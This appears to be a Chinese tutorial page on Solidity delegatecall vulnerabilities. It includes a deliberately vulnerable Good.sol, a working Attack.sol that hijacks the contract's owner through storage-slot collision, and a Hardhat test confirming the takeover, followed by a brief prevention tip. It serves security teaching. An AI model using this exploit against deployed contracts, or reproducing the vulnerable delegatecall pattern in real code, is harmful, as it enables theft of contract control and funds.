范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文
国学影视

Web3系列教程之高级篇5delegatecall委托调用漏洞

  .delegatecall()  是 Solidity 中的一个方法,用于从一个原始合约中调用目标合约中的一个函数。然而,与其他方法不同的是,当使用.delegatecall() 在目标合约中执行函数时,上下文从原始合约中传递,即代码在目标合约中执行,但变量在原始合约中被修改。
  通过本教程,我们将了解为什么正确理解 .delegatecall() 的工作原理很重要,否则会产生一些严重后果。等等,什么?
  让我们首先了解这一点是如何运作的。
  在使用 .delegatecall() 时需要注意的是,原始合约的上下文被传递给目标合约,目标合约的所有状态变化都反映在原始合约的状态上,而不是目标合约的状态上,即使该函数是在目标合约上执行的。
  嗯,不是很清楚吧,我理解。所以让我们试着通过一个例子来理解。
  在以太坊中,一个函数可以表示为 4+32*N 字节,其中4 bytes 为函数选择器,32*N 字节为函数参数。• 函数选择器。为了得到函数选择器,我们将函数的名称和它的参数类型进行散列,不留空隙,例如,对于像 putValue(uint value) 这样的东西,你将使用keccak-256 散列putValue(uint) ,这是Ethereum使用的一个散列函数,然后取其前4个字节。为了更好地理解keccak-256和散列,我建议你观看这个 video[1] • 函数参数。将每个参数转换为固定长度为32字节的十六进制字符串,并将其连接起来。
  我们有两个合约 Student.sol 和Calculator.sol 。我们不知道Calculator.sol 的ABI,但是我们知道他们存在一个add 函数,这个函数接收两个uint ,并在Calculator.sol 中把它们加起来。
  让我们看看如何使用 delegateCall 来从Student.sol 中调用这个函数。pragma solidity ^0.8.4;contract Student {    uint public mySum;    address public studentAddress;        function addTwoNumbers(address calculator, uint a, uint b) public returns (uint)  {        (bool success, bytes memory result) = calculator.delegatecall(abi.encodeWithSignature("add(uint256,uint256)", a, b));        require(success, "The call to calculator contract failed");        return abi.decode(result, (uint));    }}pragma solidity ^0.8.4;contract Calculator {    uint public result;    address public user;        function add(uint a, uint b) public returns (uint) {        result = a + b;        user = msg.sender;        return result;    }}
  我们的 Student 合同中有一个函数addTwoNumbers ,它接收一个地址和两个要相加的数字。它没有直接执行它,而是试图在地址上执行一个.delegatecall() ,以获取一个需要两个数字的函数add 。
  我们使用了 abi.encodeWithSignature ,也和abi.encodeWithSelector 一样,它首先进行哈希运算,然后从函数的名称和参数类型中取出前4个字节。在我们的例子中,它做了以下工作。(bytes4(keccak256(add(uint,uint)) ,然后将参数--a ,b 附加到函数选择器的4个字节上。这些参数每个都是32字节长(32字节=256位,这也是uint256 可以存储的)。
  所有这些在串联后被传递到 delegatecall 方法中,该方法在计算器合同的地址上被调用。
  实际的添加部分并不那么有趣,有趣的是, Calculator 合约实际上设置了一些状态变量。但是请记住,当数值在Calcultor 合约中被分配时,它们实际上是被分配到了Student 合约的存储空间中,因为deletgatecall 在目标合约中执行函数时使用的是原始合约的存储。因此,具体会发生什么情况如下。
  从以前的教程中你知道,solidity中的每个变量槽都是32字节,也就是256位。当我们使用 .delegatecall() 从Student 到Calculator 时,我们使用了Student  的存储空间,而不是Calculator 的存储空间,但问题是,即使我们使用了Student 的存储空间,槽的数量也是基于Calculator 合约的,在这种情况下,当你在Calculator.sol 的add 函数中给结果赋值时,你实际上是给student 合约中的mySum 赋值的。
  这可能是个问题,因为存储槽可以有不同数据类型的变量。如果 Student 合约中的值是按照这个顺序定义的,会怎么样呢?contract Student {    address public studentAddress;    uint public mySum;}
  在这种情况下, address 变量实际上最终会成为result 的值。你可能会想,一个address 数据类型怎么可能包含一个uint 的值?要回答这个问题,你必须想得低一点。最后,所有的数据类型都只是字节。address 和uint 都是32字节的数据类型,所以result 的uint 值可以被设置在address public studentAddress 变量中,因为它们都还是32字节的数据。实际使用案例
  .delegatecall() 在代理(可升级)合约中被大量使用。由于智能合约在默认情况下是不可升级的,使其可升级的方法通常是有一个不改变的存储合约,其中包含一个实施合约的地址。如果你想更新你的合约代码,你就把执行合约的地址改成新的东西。存储合约使用.delegatecall() 进行所有调用,这允许运行不同版本的代码,同时随着时间的推移保持相同的持久化存储,无论你改变多少个实现合约。因此,逻辑可以改变,但数据永远不会被分割。使用委托调用(delegatecall)进行攻击
  但是,由于 .delegatecall() 修改了调用该函数的合约的存储空间,如果.delegatecall() 没有被正确实现,就会设计出一些讨厌的攻击。我们现在将模拟一个使用.delegatecall() 的攻击。将会发生什么?• 我们将有三个智能合约Attack.sol、Good.sol和Helper.sol。 • 黑客将能够使用 Attack.sol 的.delegatecall() 来改变Good.sol 的所有者。构建
  让我们建立一个例子,你可以体验到攻击是如何发生的。 • 要设置一个Hardhat项目,请打开终端,在一个新的文件夹中执行这些命令 npm init --yesnpm install --save-dev hardhat• 如果你使用的是Windows系统,请做这个额外的步骤,同时安装这些库 :) npm install --save-dev @nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers• 在你安装Hardhat的同一目录下运行。 npx hardhat• 选择 Create a basic sample project • 对已指定的 Hardhat Project root 按回车键• 如果你想添加一个 .gitignore ,请按回车键。• 按回车键 Do you want to install this sample project"s dependencies with npm (@nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers)?
  现在你有一个准备好的hardhat项目了!
  让我们从创建一个看起来很无辜的合约开始-- Good.sol 。它将包含Helper 合同的地址,以及一个叫做owner 的变量。函数setNum 将对Helper 合约做一个delegatecall) 。//SPDX-License-Identifier: MITpragma solidity ^0.8.4;contract Good {    address public helper;    address public owner;    uint public num;    constructor(address _helper) {        helper = _helper;        owner = msg.sender;    }    function setNum( uint _num) public {        helper.delegatecall(abi.encodeWithSignature("setNum(uint256)", _num));    }}
  在创建完 Good.sol 之后,我们将在contracts 目录下创建名为Helper.sol 的Helper 合同。这是一个简单的合约,通过setNum 函数更新num 的值。由于它只有一个变量,该变量将永远指向Slot 0 。当与delegatecall 一起使用时,它将修改原始合约中Slot 0 的值。// SPDX-License-Identifier: MITpragma solidity ^0.8.4;contract Helper {    uint public num;    function setNum(uint _num) public {        num = _num;    }}
  现在在 contracts 目录下创建一个名为Attack.sol 的合同,并编写以下几行代码。我们将一步步了解它是如何工作的。//SPDX-License-Identifier: MITpragma solidity ^0.8.4;import "./Good.sol";contract Attack {    address public helper;    address public owner;    uint public num;    Good public good;    constructor(Good _good) {        good = Good(_good);    }    function setNum(uint _num) public {        owner = msg.sender;    }    function attack() public {        // This is the way you typecast an address to a uint        good.setNum(uint(uint160(address(this))));        good.setNum(1);    }}
  攻击者将首先部署 Attack.sol 合约,并在构造函数中获取一个Good 合约的地址。然后,他将调用attack 函数,该函数将进一步最初调用Good.sol 中的setNum 函数。
  值得注意的是最初调用setNum的参数,它的地址被类型化为一个uint256,这是它自己的地址。在 Good.sol 合约中的setNum 函数接收到作为uint的地址后,它进一步对Helper 合约进行delegatecall ,因为现在帮助者变量被设置为Helper 合约的地址。
  在 Helper 合约中,当setNum被执行时,它设置了_num ,在我们的例子中,现在是Attack.sol 的地址被打成一个uint,变成num。请注意,由于num 位于Helper 合约的Slot 0 ,它实际上会把Attack.sol 的地址分配给Good.sol 的Slot 0 。喔... 你可能知道这是怎么回事了。Good 的Slot 0 是帮助者变量,这意味着,攻击者现在已经成功地将p 地址变量更新到它自己的合同上。
  现在, helper 合同的地址已经被Attack.sol 的地址覆盖了。在Attack.sol 的attack 函数中被执行的下一件事是另一个setNum,但数字为1。数字1在这里没有任何意义,它可以被设置为任何东西。
  现在,当setNum在 Good.sol 中被调用时,它将把调用委托给Attack.sol ,因为helper 合约的地址已经被覆盖了。
  Attack.sol 内的setNum 被执行,它将owner 设置为msg.sender ,在这种情况下就是Attack.sol 本身,因为它是delegatecall 的原始调用者,而且因为所有者在Attack.sol 的Slot 1 ,Good.sol 的Slot 1 将被覆盖,也就是它的owner 。
  攻击者能够改变 Good.sol 的owner  。
  让我们试着用代码来实际执行这个攻击。我们将利用Hardhat测试来演示这个功能。
  在 test 文件夹中创建一个名为attack.js 的新文件并添加以下几行代码const { expect } = require("chai");const { BigNumber } = require("ethers");const { ethers, waffle } = require("hardhat");describe("Attack", function () {  it("Should change the owner of the Good contract", async function () {    // Deploy the helper contract    const helperContract = await ethers.getContractFactory("Helper");    const _helperContract = await helperContract.deploy();    await _helperContract.deployed();    console.log("Helper Contract"s Address:", _helperContract.address);    // Deploy the good contract    const goodContract = await ethers.getContractFactory("Good");    const _goodContract = await goodContract.deploy(_helperContract.address);    await _goodContract.deployed();    console.log("Good Contract"s Address:", _goodContract.address);    // Deploy the Attack contract    const attackContract = await ethers.getContractFactory("Attack");    const _attackContract = await attackContract.deploy(_goodContract.address);    await _attackContract.deployed();    console.log("Attack Contract"s Address", _attackContract.address);    // Now lets attack the good contract    // Start the attack    let tx = await _attackContract.attack();    await tx.wait();    expect(await _goodContract.owner()).to.equal(_attackContract.address);  });});
  要执行测试以验证 Good 合同的owner 确实发生了变化,在你的终端上,指向包含本层所有代码的目录,执行以下命令npx hardhat test
  如果你的测试通过了,那么good合约的所有者地址确实被改变了,因为我们在测试结束时将 good 中的owner 变量的值等同于Attack 合约的地址。
  开始吧 预防
  使用无状态的合同库,这意味着你委托调用的合同应该只用于执行逻辑,不应该维护状态。这样一来,库中的函数就不可能修改调用合约的状态。 资料•  Delegate call[2] •  Solidity by Example[3]
  引用链接
  [1] video:  https://www.youtube.com/watch?v=rxZR3ITZlzE
  [2] Delegate call:  https://medium.com/coinmonks/delegatecall-calling-another-contract-function-in-solidity-b579f804178c
  [3] Solidity by Example:  https://solidity-by-example.org/

工信部罕见震怒,央视正式发声,马化腾时代迎来尾声?腾讯是国内市场无可争议的社交领域霸主,在马化腾的带领下,凭借着QQ和微信这两款国民级的社交软件,仅短短十几年的时间,腾讯就踩着风口成长为了参天大树,其业务版图也由社交不断向外扩张,多年后英子和嘎子再聚首,英子美到不敢认,嘎子升级当奶爸娱乐圈充斥着无数八卦新鲜事。我的任务是每天给大家带来有趣的文章,在每一个闲暇无聊的时候给大家带来一点充实。欢迎打开这篇文章!作为当年非常有意义的电视剧,小兵张嘎。但很多人在童年时就亚男发文同意朱小伟离婚,你相信纯洁的爱情吗?最近我们看到的新闻有跟陈亚男和朱小伟的不少,那么这样的事情,我们怎么样去看待呢?我们先看一下下面的这段文字,对于这样的事情,我们是旁观者,不好说究竟是谁先错了,究竟其中的原因是什么张大大为何是娱乐圈最讨厌的明星?声称要弄死王宝强,爱哭抢戏娱乐圈中想要出名,肯定需要观众的喜爱,喜爱你的观众越多,名气越大,才能收获更大的成功。但娱乐圈中却有一个奇葩,他的出名好像不是依靠观众的喜爱,反而让观众非常讨厌,凭借观众的讨厌博出初三时写下的励志语录51,在永恒的痛苦中,去追求瞬间的快乐。痛苦会永远的伴随着我们,但是我们可以在痛苦中去追寻创造出来的快乐。2,有了知识,再加奋斗会结出希望的成功之果。有知识不努力,一样得不到认可,要启明星的光哲学思维分析王者荣耀,有这个理解,高三政治稳了你信不信王者荣耀包含了哲学思维?反正我信了。你还别不信,还是一起来看看吧。绝对能让你的脑袋响一下。心激动一番。矛盾的联系观联系具有普遍性,任何事物都处于普遍的联系之中,要用联系的观李玲玉山东烟台演出,婚礼现场十分豪华,网友说出场费20万近日,有网友发了一条婚礼现场的视频,并配文欢迎李玲玉好弟等参加我妹妹的婚礼视频定位显示烟台市某酒店。看这婚礼现场,应该是在一家五星级宾馆举办的婚礼,场景豪华大气,可以推测出是位富家67岁靠假肢登顶珠峰,他在中国体坛的地位不输姚明刘翔他没有双腿却登顶珠峰,在中国体坛与姚明刘翔齐名论奥运金牌的数量,中国代表团总奖牌数名列前茅,是名副其实的体育强国。但有个尴尬的局面是,在全球热门项目上,我们还差得太多,尤其是足球篮还记得女排周苏红吗?与瘫痪前夫挥泪离婚,如今开始做姐弟说到中国女排大家一定会想到郎平赵蕊蕊惠若琪朱婷等一个个如雷贯耳的名字,她们都是见证了女排成长的重量级人物,但是有一个名字你一定不能忘记,她就是前国手周苏红。作为中国排坛曾经令人艳羡周杰伦霸榜,华晨宇新歌又被嘲讽?这才是华语乐坛衰落的真相文令狐伯光最近,相信只要关心华语音乐的网友都应该在网上看到了一件事情,那就是所谓新旧两个时代华语乐坛领军人有了各自的消息,2000年前10年华语乐坛领军人周杰伦是因为苹果Apple苗苗喊话郑恺生二胎,却复出拍戏钱还没还完,不能休息!夫妻秀恩爱的方式有很多,但老夫老妻还能打造出甜蜜感的却不多见。最近郑恺的老婆苗苗换了一个简单的新头像,引发了网友的相继追捧,竟然上了热搜。郑恺的新片也平凡准备上映,郑恺更换了一张自
不管确没确定都得猜,球迷太难了已过成都世乒赛8月12日报名截止日期,确定的参赛名单国乒始终秘而不宣,消息如石沉大海,让球迷继续猜测。还没有确定的女排国手张常宁归队事宜,本月21日回归的消息扑面而来,会不会给球迷燃烧意志SSR大将战国登场,觉醒招募艾尼路返场诸君安好,雾夏菌报道。新一轮的活动预告已经给了出来,这次战国竟然没有搭档英雄卡普,有点意外啊。然后觉醒方面返场的是艾尼路。1卡池老区大将战国苏打饼大妈御田。战国搭配的是饼干,这个实官宣!浙江2米20高塔携锋线大将回归,大外援就位,吴前全面反击根据浙江男篮官方消息,余嘉豪刘泽一今日抵达国内,外援盖利预计8月20日飞往国内。浙江男篮休赛期在人员配置方面进行了微调,主教练刘维伟离队,朱旭航被交易到新疆男篮,换来了内线悍将热普史诗级!切尔西敲定9500万欧顶级球星!后防大将离队倒计时对于切尔西来说,他们在这个转会窗口的引援操作确实显得有些吃力。由于球队在上赛季结束之后完成了易主,这明显影响了球队的转会节奏,让他们在转会市场上一步落后,步步落后。不过,之后切尔西推荐一款完全开源,功能丰富,界面精美的商城系统LikeShop100开源免费商用电商系统,是一套采用B2C模式,100开源自主可控免费商用极致性价比的电商系统。H5小程序独立APP,三级分销,秒杀,拼团,砍价,优惠券,签到,积23台光刻机!荷兰ASML强势表态,外媒美不愿看到的局面出现了随着全球科技产业的快速发展,半导体芯片产品的商用化进程也达到了史无前例的高位。据相关资料显示仅中国每年从外界进口的芯片产品总值,就要超过3000亿美金,甚至长期反超第二类不可再生资LPL夏季赛出现4抢2局面,RNG迎来关键一战,TES决定2队生死哈喽大家好,这里是狗子,每天为您带来有趣的游戏资讯,喜欢的记得点个关注就在昨晚,LPL又一场爆冷的BO3诞生,在WBG和LNG的这场比赛中,本以为会是一场卧龙凤雏之战,结果谁也没想山东男篮大将受伤!刚加盟不到一周,如今骨裂重伤运气够差山东男篮可以说是除上海之外最大的黑马,队内在王晗加入之后,同样是取得了4国手和3外援的阵容,这与上海男篮相差无几,而在最近山东男篮,更是将已经转会湾区翼龙的大将乔文瀚紧急召回,整体最坏局面!辽篮流失3个核心,压力全扔给杨鸣,想夺冠只剩两招今年夏天CBA处于动荡期,很多强队都将改头换面。按照正常规律,拿到冠军的球队不会有大变化,但像辽宁队这样人员频繁地流动的情况并不多见,最近他们有可能一口气流失3个核心成员,分别是功湿气重的8个危害!影响正常生活,医生建议不要小觑之前我们科普了湿气严重,身体会给我们发出求救信号,在这里我总结了湿气会给我们的身体造成哪些伤害,大家了解一下。1首先是伤害我们的关节当湿气进入关节,与我们的寒相遇,就会产生寒湿,会年龄大了就不能多吃肉了?医生劝告过了50岁,这3种肉要多吃人随着年龄的增长,身体机能会不断下降,很多人会发现,肠胃功能大不如前,胃口也开始变差,一些年轻时爱吃的食物,现在却享用不了。有人说,年龄大了就不能多吃肉了,这种说法对吗?年龄大了,